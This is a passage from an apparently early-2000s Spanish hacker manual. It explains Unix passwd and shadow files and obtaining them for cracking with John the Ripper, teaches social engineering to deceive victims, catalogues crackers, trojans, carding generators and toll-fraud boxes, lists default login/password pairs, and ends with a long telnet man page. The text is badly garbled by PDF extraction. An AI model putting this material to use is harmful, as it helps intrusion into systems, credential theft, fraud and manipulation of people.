gusanos, programas de puerta trasera, troyanos y o e algunos programas maliciosos. 5.- Es bueno tener presente que existen virus y troyanos que pueden aparentar ser amigables (una simple tarjeta de San Valent n), o que provienen de gente que conoces (como es el caso del gusano Sircam). Siendo as no conf en ningn programa ni en nada que recibas hasta no revisarlo con el , es u Antivirus. 6.- Mantn al d todas las actualizaciones de seguridad, para todas y cada una de las distintas e a aplicaciones.

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

35

X. Contrase as (encriptacion y contraseas en shadow ) n La seguridad de una sola cuenta puede comprometer la seguridad de todo el sistema. Esto es una realidad ante la cula no podemos desaprovechar la oportunidad. Por un lado tenemos los usuarios que usan claves slidas con caracter o sticas como: No deben ser una palabra conocida. Deber contener letras, nmeros y caracteres especiales. an u Deben ser fciles de recordar y dif a ciles de adivinar. Aunque cada vez es menos comn encontrar claves dbiles ya que los administradores estn empleu e a ando nuestras mismas tcticas para comprobar el nivel de seguridad de las claves de sus usuarios y si a la clave no tiene buena seguridad el usuario es obligado a cambiarla. En los sistemas tipo UNIX como linux las contraseas se almacenan en el chero de passwd que se n encuentra en /etc/passwd si entramos v ftp podremos descargar este chero sin ningn problema a u y si la contrasea esta all es solo dejrsela un ratito a nuestro amigo john de Ripper para desencriptarla. n a El problema esta que por lo general las claves ya no son guardadas en este chero, es decir, se encuentran en shadow y alli hay un problemilla porque el chero shadow tiene mayor dicultad a la hora de ser accesado ya que se debe tener permiso de root ( en la mayoria de los casos). Asi se veria una clave sin shadow root : gEvm4sbKnGRlg : 10627 : 0 : 99999 : 7 : -1 : -1 : 134529868 y asi con shadow root : x : 10627 : 0 : 99999 : 7 : -1 : -1 : 134529868 notese que ya no esta la clave sino una x Existen agujeros en los navegadores permiten que se puedan leer cheros arbitrarios de una mquina a (evidentemente, que el usuario de navegador tenga permiso para leer), de manera que lleguen hasta nosotros por medio de una pginas web que explote estos agujeros.como por ejemplo el agujero del a netscape 4.5 en su versin linux. Una vez obtenido el chero /etc/passwd no es ms que ejecutar o a su programa revientaclaves favorito y sentarse a esperar hasta que empiecen a aparecer nombres de usuario con sus respectivas contraseas, algo que suele pasar muy rpidamente. Con suerte, si el adn a ministrador es ingenuo o dejado, incluso dar con la clave del root, abrindosele as las puertas a la a e mquina objetivo. a Como dije anteriormente para solucionar esta vulnerabilidad, los administradores recurrieron a contraseas en la sombra (shadow passwords), un mecanismo consistente en extraer las claves cifradas del n chero /etc/passwd y situarlas en otro chero llamado /etc/shadow, que slo puede leer el root y dejar o el resto de la informacin en el original /etc/passwd. El chero /etc/shadow slo contiene el nombre o o

36

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

de usuario y su clave, e informacin administrativa, como cundo expira la cuenta, etc. El formato del o a chero /etc/shadow es similar al siguiente: usuario : clave : ultimo : puede : debe : aviso : expira : desactiva : reservado

usuario: El nombre del usario. clave: La clave cifrada ultimo: D transcurridos del ultimo cambio de clave desde el d 1/1/70 as a puede: D transcurridos antes de que la clave se pueda modicar. as tiene: D transcurridos antes de que la clave tenga que ser modicada. as aviso: Dias de aviso al usuario antes de que expire la clave. expira: D que se desactiva la cuenta tras expirar la clave. as desactiva: D de duracin de la cuenta desde el 1/1/70. as o reservado: sin comentarios. Un ejemplo podr ser: a belzebu : gEvm4sbKnGRlg : 10627 : 0 : 99999 : 7 : -1 : -1 : 134529868

El paquete de Shadow Passwords se puede descargar desde cualquiera de los siguientes sitios, con instrucciones para su instalacin: o ftp://i17linuxb.ists.pwr.wroc.pl/pub/linux/shadow/shadow-current.tar.gz ftp://ftp.icm.edu.pl/pub/Linux/shadow/shadow-current.tar.gz ftp://iguana.hut./pub/linux/shadow/shadow-current.tar.gz ftp://ftp.cin.net/usr/ggallag/shadow/shadow-current.tar.gz ftp://ftp.netural.com/pub/linux/shadow/shadow-current.tar.gz Bien como podemos ver este sistema de seguridad de las claves es muy comn en la actualidad u y en un 99% de las veces que intentemos apropiarnos del archivo passwd encontraremos que este se encuentra en shadow; pero si es asi que podemos hacer, pues la verdad no mucho lo unico que podemos hacer es sentarnos y mientras intentamos explotar algn bug del sistema que nos permita descargar u el archivo shadow ir buscando otra tcnica de entrada. Aunque estos bugs tambin son frecuentes ree e

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

37

cuerdo hace time vi uno del Kvirc si el cliente de irc tiene un bug que al enviar una serie de comandos de peticin de sonido nos deja descargar archivos pero eso fue hace time y ya todo mundo lo ha de o tener parchado por eso no lo explico a fondo simplemente lo comento para que vean que si existen bugs que nos permiten quedarnos con el shadow. XI. INGENIERIA SOCIAL La ingenier social es una de las armas ms poderosas que posee un hacker. a a La ingenier social consiste en el arte de engaar a la victima hacindole creer que somos otra a n e persona o que somos una persona de conanza con el n de sacarle informacin, contraseas, nmeros o n u de tarjetas de crdito etc. e La ingenier social es una de las tcnicas ms complejas, debido a que no tiene una regla exacta, es a e a decir no hay un mtodo que siempre funcione, sin embargo hay algunas tcnicas bsicas para lograr el e e a objetivo propuesto. En este capitulo veremos algunas de estas tcticas, dado que la ingenier social es una batalla de a a inteligencia entre 2 o mas personas es recomendable primero ensayar. A. Conociendo a tu enemigo Consiste en conocer al mximo a la persona u organizacin que queremos suplantar a o En caso de que sea eso lo que queremos hacer, en otro caso de la victima (la persona que queremos engaar). n Para esto debemos identicar que clase de persona es: Conada Desconad Astuta extrovertida introvertida Esto es muy importante porque si conocemos esto tendremos una idea de cmo abordar a esta pero sona.

Bien ahora usaremos un poco de psicolog social para obtener informacin de esta persona (que a o probablemente no conocemos). Cuando una persona se encuentra interesada en entablar una relacin con otra se produce un ino tercambio de informacin ( conocerme porque yo te quiero conocer) es decir forzamos a la persona a o compartir informacin a partir del hecho de que nosotros le estamos conando informacin nuestra. o o El secreto es crear el mayor inters posible ( Esta tcnica es similar al arte de conquistar) . e e B. Asumiendo nuestro papel Para que nuestra victima caiga en el engao debemos actuar bien, es decir si vamos a suplantar a n una mujer debemos hablar como mujer, pensar como mujer.

38

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

Pero soy hombre como me puedo hacer pasar por mujer me disfrazo? No es necesario llegar a tanto el contacto se puede dar por un Chat en Internet, por telfono, e-mail e o incluso por correo. La idea es hablar con personas del tipo que queremos aparentar, me explico si se quiere parecer una mujer hablar con mujeres ojala de la edad que pretenderemos ser para copiar su forma de expresarse y porque no de pensar. C. Interlocutor silencioso Esta tcnica se utiliza cuando la victima es la que tiene la iniciativa para iniciar la comunicacin e o entonces lo que se har es no contestarle as esta nos dar mas informacin para llamar nuestra atencin. a a o o Antes ensaya con tus amigos cuando te hablen no prestes atencin y mide el tiempo antes que se o cansen de llamar tu atencin y se vallan es mas o menos 30 segundos, tambin prubalo en canales de o e e Chat y veras resultados. D. Conclusin o La ingenier social es una tcnica muy compleja ya que var mucho de persona a persona, esta a e a tcnica puede llevar un largo tiempo ya que hay que entablar amistad con la persona o quien dar e a contraseas a alguien que conoce solo una semana . n XII. PROGRAMAS CON FINES HACK Los programas usados con nes hack en su mayor son de cdigo gratuito y funcionan para linux, a o aunque tambin hay gran cantidad para Windows. e Estos Programas se dividen en categor en las que nombrare los programas mas conocidos: as A. CRACKEADORES Los crackeadores son programas que utilizan la fuerza bruta para descubrir una contrasea. n A.1 John de Riper: Es el ms famoso cackeador de contraseas de sistemas tipo unix, este crackeador usa la fuerza bruta a n o si se desea un diccionario de palabras. El john de riper tiene versiones tanto para linux como para windows. A.2 Brutus: Es un crackeador bajo windows utilizado para ingresar usando la fuerza bruta a sitios de Internet como administrador. A.3 Entryle2: Al igual que el brutus se usa para ingresar como administrador a sitios de internet .

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

39

A.4 Pwtool: Este programa para windows nos muestra las contraseas de la bios y puede crackear las contraseas n n de sistema usando la fuerza bruta. B. SCANNERS Los escneres son programas que testean puertos y bugs con el n de mostrar informacin sobre un a o computador y sus debilidades. B.1 Nscan: es un escner de puertos para windows con varias opciones de conguracin. a o B.2 Nmap: Es el scanner de puertos mas famoso en el mundo hacker tiene versiones para linux y windos, posee gran cantidad de opciones (tcp, udp, icmp). B.3 Wingate scan: Es un scanner para linux se caracteriza por buscar wingates. B.4 Cgi-scan: Es un escner para linux, su objetivo es testear pginas web buscando algn bug conocido en un cgi. a a u C. PREHACK El prehack es una de las ramas del hack, esta se dedica a las llamadas telefnicas. o C.1 Bluebox: Mas que un programa una blue box es un circuito electrnico que junto con un software permite o engaar a la central de telefnica permitindonos realizar llamadas gratuitas. n o e C.2 Blackbox: Tiene el mismo n que la blue box (realizar llamadas gratis) pero funciona para telfonos monederos. e D. CARDING Los programas de carding son usados para generar y comprobar nmeros de tarjetas de crdito. u e D.1 Credit Wizard: Este programa es usado para generar nmeros de tarjetas de crdito, tambin genera informacin u e e o sobre los clientes. D.2 Crdito: e genera y prueba nmeros de tarjetas de crdito. u e E. CABALLOS DE TROYA Los caballos de Troya son programas que crean una puerta trasera (backdoor) en una computadora permitiendo el fcil acceso (ilegal) a ella. a

40

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

E.1 Sub 7: Es un conocido troyano que permite realizar administracin remota de un computador bajo windows. o E.2 Net bus: Es un troyano, se puede decir que es de los ms antiguos, se usa para administracin remota. a o E.3 Back orice: Un troyano con grandes opciones de conguracin, aparte de administracin remota puede ser usado o o para auditoreo de redes. F. PROGRAMAS CON MULTIPLES UTILIDADES Son programas que renen uno o mas de los programas antes vistos scanner, troyanos y mas. u F.1 Shadow scan: Este programa tiene varias utilidades entre ellas scanner de puertos, scanner de troyanos, scanner de cgis, mail bombing entre otras. F.2 Multiwar: Este programa es similar al shadow scan pero posee menos opciones. F.3 Virus lab: Este programa permite la fcil elaboracin de virus solo basta con ir indicndole las caracter a o a sticas que queremos del virus. XIII. CONFIGURACION DE SOFTWARE Bien en este capitulo hablaremos de porque debemos asegurarnos que nuestro sistema este bien congurado antes de lanzarlo a la red. Al instalar sistemas servidores como UNIX, LINUX, IRIX, incluso algunos windows como el 2000 server y el NT en muchas ocasiones, y no se imaginan la cantidad de casos que hay, no conguramos adecuadamente el sistema en especial los servidores como por ejemplo el ftp, telnet o peor aun no conguramos un nivel de seguridad aceptable. Uno de los mayores errores es dejar las contraseas y logines que vienen por defecto algunas veces n por descuido o pereza y otras porque simplemente no sabemos como hacerlo o tambien creemos que nadie las sabe, pues aqu tenemos un grave problema las contraseas y logines por defecto son las mas n conocidas del mundo y si no me creen vean algunas: Login: Password: root root root system sys sys sys system daemon daemon uucp uucp tty tty test test

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

41

unix unix unix test bin bin adm adm adm admin admin adm admin admin sysman sysman sysman sys sysman system sysadmin sysadmin sysadmin sys sysadmin system sysadmin admin sysadmin adm who who learn learn uuhost uuhost guest guest host host nuucp nuucp rje rje games games games player sysop sysop root sysop demo demo Espero que ahora si me crean aunque solo puse algunos. Otro error fatal es la mala conguracin de los servidores que corren en el sistema como por ejemplo o el ftp un ftp mal congurado permitir que cualquiera as no sea usuario registrado entre y descargue, a suba o borre archivos por doquier sin ninguna restriccin y creanme que no queremos eso. o Lo mismo pasa con los diferentes servidores que corren en nuestra maquina, debemos asegurarnos de que su conguracin sea optima y tenga un buen nivel de seguridad. o Si usamos recursos compartidos no olviden ponerle una buena contrasea a los archivos. n Bueno creo que no queda mas por decir en este capitulo solo repetirle que en Internet hay miles de manuales de conguracin lanlos antes de conectar su maquina con linux recin instalado y con mil o e e servidores funcionando de los cuales no saben para que sirven ni la mitad.

XIV. Comandos Tracert, Whois, Telnet, Ftp, Finger, Ssh En este capitulo veremos algunos comandos que nos serviran a nuestros propositos.

42

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

A. Tracert El comando tracert sirve para trazar un mapa entre dos maquinas en una red, su funcionamiento es sencillo el env paquetes y va diciendo por donde pasan antes de llegar a su destino, este comando a es muy util para averiguar que maquina hay antes de nuestro objetivo y poder analizar la posibilidad de entrar a una de estas para llegar luego a nuestra victima. Tambin nos sirve para darnos cuenta si e nuestra victima usa un rewall.( esto esta explicado en el manual que publique anteriormente Manual de hack by belzebu ). Su uso es sencillo vasta poner en la shell Traceroute [nombre de la victima] Para mas informacin de este comando mirar el man. o B. Whois El comando whois nos brinda informacin sobre un host que este registrado, para los que no sepan o los nombres de dominio hay que registrarlos y la informacin que brindan los dueos del host a la hora o n de registrarlo es pblica. Este comando nos brinda informacin sobre los administradores del sistema, u o la direccin, telfonos y varios datos que nos servirn de gran ayuda en Internet encontramos paginas o e a que nos brindan este servicio como www.domainwhitepages.com entre otros. Su funcionamiento es sencillo el se conecta a internic y all busca en la base de datos por el nombre de dominio que necesitamos. Se usa as : Whois [nombre de dominio de victima] C. Telnet El telnet es el gran aliado del hacker ya que nos permite la manipulacin remota de una maquina o tal cual estuviramos sentados en frente de esta. e Su uso es Telnet [host] [puerto] Opciones: -8 Peticin de operacin de 8-bits. Esto provoca un intento de nego ciar las TELNET BINARY opciones o o de entrada y salida. Por defecto telnet no es puramente de 8-bits. -E Deshabilita la funcin del carcter escape; es decir, establece que la tecla escape acte como no charo a u acter. -L Especica un path de datos de 8-bits. Esto provoca que la opcin TELNET BINARY slo se negocie o o

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

43

en la salida. -a Intenta un login automtico. En realidad, esto env el nombre del usuario v la variable USER de a a a la opcin ENVIRON si sta es soportada por el sistema remoto. El nombre del usuario se obtiene o e mediante getlogin(3). -d Establece el valor inicial del debug toggle en VERDADERO. -r Emular rlogin(1). En este modo, por defecto el carcter escape es una tilde. A su vez, la interpretacin a a o del carcter escape cambia: el carcter escape seguido de un punto har que telnet desconecte del host a a a remoto. Una Z en lugar de un punto, suspender telnet, y un ] (el defecto del carcter escape de a a telnet generar un prompt normal de telnet. Estos cdigos slo se aceptan al principio de la l a o o nea. -S tos Establece la opcin IP type-of-service (TOS) (tipo de servicio IP) para el valor de la conexin o o telnet tos. -e escapechar Establece que el carcter escape equivalga a escapechar. Si no se especica un carcter escape, no a a se usar ningn carcter de escape. Al introducir un carcter de escape durante la conexin telnet a u a a o cambiar al modo comando. a -l user Especica que user es el usuario como el que entraremos en el sistema remoto. Esto se consigue al enviar el nombre especicado en la variable de entorno USER, as que requiere que el sistema remoto soporte la opcin TELNET ENVIRON (entorno telnet). Esta opcin implica el uso de la opcin -a, y o o o tambin puede ser usada por la orden open. e -n tracele Ejecuta tracele para grabar la informacin de trace. Vea la orden set tracele ms adelante. o a host Especicar a qu host de la red conectar. a e port Especica que nmero de puerto o qu servicio contactar. Si no se especica, el puerto telnet u e (el 23) ser el usado. a Comandos: Las siguientes rdenes para telnet estn disponibles. Los prejos unicos o a se entienden como abreviaturas. auth argument.

44

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

La orden auth controla la opcin TELNET AUTHENTICATE del protocolo. Si telnet se compil o o sin autenticacin, la orden auth no ser soportada. Los argumentos vlidos son los siguientes: o a a disable type Deshabilita la forma especicada de autenticacin. Para obtener una lista de los tipos disponibles, use o la orden auth disable ?. enable type Habilita el tipo de autenticacin especicada. Para obtener una lista de los tipos disponibles, use la o orden auth enable ?. status Ofrece el estado de los distintos tipos de autenticacin. o Tenga en cuenta que la actual versin de telnet no soporta autenticacin. o o close Cierra la conexin con el host remoto, si la hubiera, y regre sa al modo comando. o display argument. Muestra todos, o algunos de los valores de set y toggle (verms adelante). a encrypt argument . La orden encriptar controla las opciones del protocolo TELNET ENCRYPT. Si telnet se compil o sin encriptacin, la orden encrypt no se soportar. o a Los argumentos vlidos son los siguientes: a disable type [input|output] Deshabilita el tipo especicado de en criptacin. Si usted no especica el input (en trada) o el output o (salida), la encriptacin de ambos es desactivada. Para obtener una lista de los tipos disponibles, use o encrypt disable ? enable type [input|output] Habilita el tipo especicado de encriptacin. Si no se indica input o output, se habilita la eno criptacin de ambos. Para obtener una lista de los tipos disponibles, use encrypt disable ? o input Equivale a encrypt start input. -input Equivale a encrypt stop input. output Equivale a encrypt start output.

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

45

-output Equivale a encrypt stop output. start [input|output] Intenta empezar a encriptar. Si no especica input o output, comienza la encriptacin de am bos, o input y output. status Muestra el estado actual del mdulo de en criptacin. o o stop [input|output] Para la encriptacin. Si no especica input o output, se pararn ambos modos de encriptacin. o a o type type Establece la encriptacin por defecto que ser luego usada con las rdenes encrypt start o encrypt o a o stop. Tenga en cuenta que la versin actual de telnet no soporta encriptacin. o o environ arguments... La orden environ se usa para extender las vari ables de entorno a travs del link telnet usando la e opcin TELNET ENVIRON del protocolo. Todas las variables exportadas del shell sern denidas, o a pero slo DISPLAY y PRINTER son man dadas por defecto. La variable USER se marca para su o env si se usan las opciones de la l o nea de comandos -a o -l Argumentos vlidos para la orden environ: a dene variable value Dene la variable variable para quetenga el valor value. Cualquier variable denida por esta ordenser automticamente marcada para su propagacin (exported). value puede incluirse con comila a o las sencillas o dobles para que tabuladores y espacios sean incluidos. undene variable Borra cualquier denicin existente de variable. o export variable Marca la variable especicada para su propagacin al host remoto o unexport variable No marca la variable para su propagacin al host remoto. Este puede incluso pedir expl o citamente variables que no se exporten.

46

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

list Ofree un listado de las variables de entorno actuales.aquellas marcadas con un * sern propagadas al a host remoto. El host remoto puede pedir expl citamente el resto. ? Muestra la informacin para la orden environ. o logout Manda la opcin TELNET LOGOUT del protocolo al host remoto. Esta orden es parecida a la oro den close LOGOUT, no ocurrir nada. Pero en caso armativo, esta orden provocar el cierre de la a a conexin. Si el host remoto tambin soporta el concepto de suspender la sesin de un usuario para o e o ms tarde volver a unirse, la orden logout indica que la sesin debe terminar inmediata mente. a o mode type Type es una de varias opciones, dependiendo del estado de la sesin. Telnet pide al host remoto que entre o en el modo requerido. Si el host remo to arma poder hacerlo, ese modo tomar efecto. a -width Ar character deshabilita la opcin TELNET LINEMODE, o, si el lado remoto no entiende la opcin LINEMODE o o entonces, introduzca character at a time mode. line habilita la opcin TELNET LINEMODE, o, si el lado remoto no entiende la opcin LINEMODE, o o intente introducir old-line-by-line mode. isig (-isig) Intenta habilitar(deshabilitar) el modo TRAPSIG de la opcin LINEMODE. Esto requiere que la o opcin LINEMODE est habilitada. o e edit (-edit) Intenta habilitar (o deshabilitar) el modo EDIT de la opcin LINEMODE. Esto requiere que la opcin o o LINEMODE est habilitada. e softtabs (-softtabs) Intenta habilitar(deshabilitar) el modo SOFT TAB de la opcin LINEMODE. Esto requiere que la o opcin LINEMODE est habilitada. o e litecho (-litecho) Intenta habilitar(deshabilitar) el modo LIT ECHO de la opcin LINEMODE. Esto requiere que la o opcin LINEMODE est habilitada. o e ? Muestra la informacin de la orden mode. o open host [[-l] user][-port] abre una conexin con el host especicado. Si no se concreta un puerto, telnet tratar de con tactar o a un demonio telnet en el puerto estndar (23). La especicacin de host puede hacerse mediante su a o

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

47

nombre o su direccin IP. Puede us arse la opcin -l para especicar el nombre de usuario a pasar al o o sistema remoto, como la op cin -l de la l o nea de comandos. Para conectar a puertos distintos del de telnet, telnet no intenta negociar protocolos de telnet. Esto posibilita la conexin a servicios que no soportan el protocolo telnet sin organizar un l la negociacin o o. o del protocolo puede forzarse incluyendo un guin antes del nmero de puerto. o u Tras establecer la conexin, cualquier orden asociada al host remoto en el archivo .telnetrc del o usuario ser ejecutada. a El formato del archivo .telnetrc es el siguiente: Las l neas que comiencen con #, y las l neas en blanco, son ignoradas. El resto del archivo deber consistir en nombres de hosts y secuencias de a rdenes telnet a usar con esos hosts. Las rdenes deben ir una en cada l o o nea, identadas con espacios en blanco; las l neas que comiencen sin un espacio en blanco se interpre tarn como nombres de hosts. a Al conectar a un host en concreto, las rdenes asociadas al mismo se ejecutarn. o a quit Cierra cualquier conexin abierta y sale. telnet. La condicin de n de archivo en el input, en modo o o comando, tambin desencadenar esta operacin. e a o send arguments Env una o ms secuencias de caracteres espe ciales del protocolo telnet al host remoto. Se pueden a a especicar los siguientes cdigos (puede usarse ms de uno en una misma orden): o a abort Env la secuencia TELNET ABORT (Abortar los procesos). a ao Env la secuencia TELNET AO (Abortar el Output), que hace que el sistema remoto borre todo el a output desde el sistema remoto al terminal del usuario. ayt Env la secuencia TELNET AYT (Are You There?, Ests ah a lo que el sis tema remoto puede a a ?), elegir contestar o no. brk Env la secuencia TELNET BRK (Break), a que puede ser relevante para el sistema remoto. ec Env la secuencia TELNET EC (Erase Character, borrar carcter), que hace que el sistema remoto a a borre el ultimo carcter introducido. a el Env la secuencia TELNET EL (Erase Line, borrar l a nea), que hace que el sistema remoto borre la l nea que se est introduciendo en ese momento. a eof

48

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

Env la secuencia TELNET EOF (End Of a File, n del archivo). eor Env la secuencia TELNET EOR (End of Record, n del Record). a escape Env el carcter escape actual de telnet. a a ga Env la secuencia TELNET GA (Go Ahead, adelante), que seguramente no signique nada para el a sistema remoto. getstatus Si el lado remoto soporta la orden TELNET STATUS, getstatus enviar la sub negociacin a la a o peticin de que el servidor mande su opcin actual de estado. o o ip Env la secuencia TELNET IP (Interrupt a Process, interrumpir el proceso), que hace que el sistema remoto aborte el proceso que se ejecuta en ese momento. nop Env la secuencia TELNET NOP (No Opera tion, ninguna operacin). a o susp Env la secuencia TELNET SUSP (Suspend Process, suspender el proceso). a synch Env la secuencia TELNET SYNCH. Esta secuencia hace que el sistema remoto descarte todo el input a que se haya tecleado previamente (pero que todav no haya le a do).Esta secuencia se env como data a urgente TCP (y puede no fun cionar si el sistema remoto es un .Bx 4.2 si no funciona, en minsculas u puede teclearse r may be echoed on the terminal). do cmd dont cmd will cmd wont cmd Env la secuencia TELNET DO cmd. cmd puede ser tanto un nmero decimal entre 0 y 255, un a u nombre simblico dado a una orden espec o ca de TELNET. cmd tambin puede ser help o ? para que e se muestre la ayuda, incluyendo una lista de nom bres simblicos conocidos. o ? Muestra la ayuda de la orden send.

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

49

set argument value unset argument value La orden set otorgar un valor espec a co a una de las variables de telnet o el valor TRUE. El valor especial o deshabilita la asociacin de la funcin a la variable. Equivale al uso de la orden unset. o o La orden unset deshabilita o da el valor FALSE a cualquiera de las variables que se especiquen. Se pueden preguntar los valores de las variables con la orden display. Las vari ables set o unset (asociadas o no), pero no las toggled, son enumeradas aqu Adems, cualquier variable de la orden toggle puede . a ser expl cita mente asociada o no. ayt Si telnet est en modo localchars, o se habilita LINEMODE, y se teclea el carcter de estado, se env a a a una secuen cia TELNET AYT al host remoto. El valor inicial del carcter Are You There es el a carcter de estado del terminal. a echo Este es el valor (inicialmente E) que, en el modo line by line mode, cambia entre el echo local de los carac teres introducidos (para proceso nor mal), y la supresin del echo de los caracteres introo ducidos (digamos que para introducir una contrasea). n eof Si telnet opera en modo LINEMODE o old line by line mode, introduciendo este carcter como el a primero de la l nea har que este carcter se env al sis tema remoto. El valor inicial del carcter eof a a e a ser tomado como propio del terminal. eof character. a erase Si telnet est en modo localchars (ver toggle localchars ms adelante), y telnet opera en modo chara a acter at a time mode, al ser este carcter tecleado, una secuencia TELNET EC (ver send ec ms a a arriba) se env al sistema remoto. El valor inicial del carcter de borrado se toma como el carcter a a a erase del terminal. escape Este es el carcter escape de telnet (initially [) que hace que telnet entre en modo comando (si est a a conectado a un sistema remoto). ushoutput Si telnet est en modo localchars (ver toggle localchars ms adelante) y el carcter ushoutput es a a a introducido, una secuencia TELNET AO (ver send ao ms ar riba) se env al host remoto. El valor a a inicial del carcter de ush (borrado) se toma como el propio del terminal. a forw1 forw2 Si TELNET opera en modo LINEMODE, estos son los caracteres que al ser tecleados provocan que las l neas parciales sean enviadas al sistema remoto. El valor inicial de los caracteres enviados se toma de los caracteres eol y eol2 del terminal.

50

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

interrupt Si telnet est en modo localchars (ver toggle localchars ms adelante) y se teclea el carcter interrupt, a a a una se cuencia TELNET IP (ver send ip ms arri ba) es enviada al host remoto. El valor inicial del a carcter interrupt se toma como el propio del terminal. a kill Si telnet est en modo localchars (ver toggle localchars ms abajo), and si telnet opera en modo a a character at a time mode, cuando se teclea este carcter, se env una secuencia TELNET EL (ver a a send el ms arriba) al host re moto. El valor inicial del carcter kill se toma como el propio del terminal. a a lnext Si telnet opera en modo LINEMODE o en modo old line by line mode, este carcter se toma como a el lnext propio del terminal. El valor inicial del carcter lnext se toma como el propio del terminal. a quit Si telnet est en modo localchars (ver toggle localchars ms adelante) y se teclea el carcter quit, a a a una secuencia TELNET BRK (ver send brk ms arriba) se env al host remoto. El valor inicial del a a carcter quit se toma como el propio del terminal. a reprint Si telnet opera en modo LINEMODE o en modo old line by line mode, este carcter se toma como a el propio carcter reprint del terminal. El valor inicial del carcter reprint se toma como el propio del a a terminal rlogin Este es el carcter escape del modo rlogin. Al establecerlo se habilita el modo rlogin, como con la a opcin r de la l o nea de comandos (q.v.) start Si la opcin TELNET TOGGLE-FLOW-CONTROL est habilitada, este carcter se toma como el o a a propio carcter start del termi nal. El valor inicial del carcter kill se toma como el propio start del a a terminal. stop Si la opcin TELNET TOGGLE-FLOW-CONTROL ha sido habilitada, este carcter se toma como o a el carcter stop del terminal. El valor inicial del carcter kill se toma como el propio stop del terminal a a sus Si telnet est en modo localchars, o se ha habilitado LINEMODE, y se teclea el carcter suspend, una a a secuencia TELNET SUSP (ver send susp ms arriba) es man dada al host remoto. El valor inicial del a carcter suspend se toma como el propio el terminal a tracele Este es el archivo en que se escribe la salida producida por netdata o option cuando tracing sea TRUE. Si fuera -, la informacin obtenida de tracing se escribir en la salida estndar por de fecto. o a a worderase

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

51

Si telnet opera en LINEMODE o en modo old line by line mode, este carcter sera tomado como a el carcter worderase del terminal. El valor inicial del carcter worderase (borrado de palabra) se toma a a como el propio del terminal ? Muestra las ordenes legales set (unset). slc state La orden slc (Set Local Characters, establecer los caracteres locales) se usa para establecer o cambiar los caracteres especiales cuando la op cin TELNET LINEMODE est habilitada. Los carac teres o a especiales que son asociados a las secuen cias de rdenes TELNET (como ip o quit) o carac teres de o edicin de l o nea (como erase y kill). Por defecto, los caracteres especiales locales son exportados. check Verica la conguracin actual de los caracteres especiales actuales. Se pide al lado remoto que env o e to da la conguracin de los carac teres especiales, y si hubiera dis crepancias con el lado local, el la o do local cambiar a los valores remotos. a export Cambia los defectos locales de los caracteres especiales. Los valores por defecto de los caracteres sern a los del terminal en el momento en que se inici telnet. o import Cambia los valores remotos por de fecto de los caracteres especiales. Los caracteres remotos por defecto son aquellos del sistema remoto en el momento en que se estableci la conexin TELNET o o ? Muestra informacin de ayuda para la orden slc. o status Muestra el estado actual de telnet. Incluye el nombre del host remoto, si lo hubiera, a la vez que el modo actual. toggle arguments ... Cambia (entre los valores TRUE y FALSE) varias opciones que controlan la forma en que telnet responde a los sucesos. A estas opciones se les puede dar expl citamente los valores TRUE or FALSE usando las rdenes set y unset. Se puede activar ms de una opcin a la vez. El estado de estas o a o opciones puede ser examinado con la orden display. Son opciones vlidas:v a authdebug Activa la depuracin del cdigo de autenticacin. Esta opcin slo existe si el soporte de autenti o o o o o cacin est habilitado. o a autoush Si autoush y localchars estn a la vez activadas con TRUE, cuando los caracteres ao, o quit sean re a conocidos (y transformados en se cuencias de TELNET; vea set arriba para mayores detalles), telnet re husar mostrar data en la terminal del usuario hasta que el sistema remoto se d cuenta de que a e ha procesado esas secuencias de TELNET (por medio de una opcin TELNET TIMING MARK ). El o

52

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

valor inicial de este conmutador es TRUE si el usuario del terminal no ha efectuado un stty nosh, y es, por el contrario FALSE (vea stty(1)). autodecrypt Cuando se negocia la opcin TELNET ENCRYPT, por defecto la en criptacin actual del ujo de datos o o no comienza automticamente. La orden autoencrypt (autodecrypt) establece que la encriptacin del a o output (o input) se habilite lo antes posible. Tenga en cuenta que esta opcin slo existe si el soporte de en criptacin est habilitado. o o o a autologin Si el lado remoto soporta la op cin TELNET AUTHENTICATION, telnet intentar usarla para efeco a tuar una autenticacin automtica. Si la opcin TELNET AUTHENTICATION no es soportada, el o a o login del usuario es transmitido usando la opcin TELNET ENVIRON. Habilitar esta op cin equivale o o a darle la opcin a a la orden open o a hacerlo en la l o nea de comandos. autosynch Si autosynch y localchars tienen como valor TRUE, cuando se escrib an los caracteres intr o quit (vea set ms arriba para obtener una descripcin de los caracteres intr y quit ), la secuencia telnet re sula o tante que se env es seguida de la secuencia TELNET SYNCH. Este procedimiento deber provocar a a que el sistema remoto comience a desechar todo lo que se haya tecleado previamente hasta que am bas secuencias de telnet hayan si do le das y se haya actuado en consecuencia. El valor inicial de este conmutador es FALSE. binary Habilita o deshabilita la opcin TELNET BINARY tanto para el output como para el input. o inbinary Habilita o deshabilita la opcin TELNET BINARY para el input. o outbinary Habilita o deshabilita la opcin TELNET BINARY para el output. o crlf Si su valor es TRUE, los retornos de carro se enviarn como CRLF. Si su valor es FALSE, los a retornos de carro se enviarn como CRNUL. El valor inicial de este conmutador es FALSE. a crmod Conmutador del retorno de carro. Cuando est habilitado, la mayor de los retornos de carro recibidos a a del host i remoto sern transfor mados a un retorno de carro segui do de una nueva l a nea. Este modo no afecta a los caracteres es critos por el 